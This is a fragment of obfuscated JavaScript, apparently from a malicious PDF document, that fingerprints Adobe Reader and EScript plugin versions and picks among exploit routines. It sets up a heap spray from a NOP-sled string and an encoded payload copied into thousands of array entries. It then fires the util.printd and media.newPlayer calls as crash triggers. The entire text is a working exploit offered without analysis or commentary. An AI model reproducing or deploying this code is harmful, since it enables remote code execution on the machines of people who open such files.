lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
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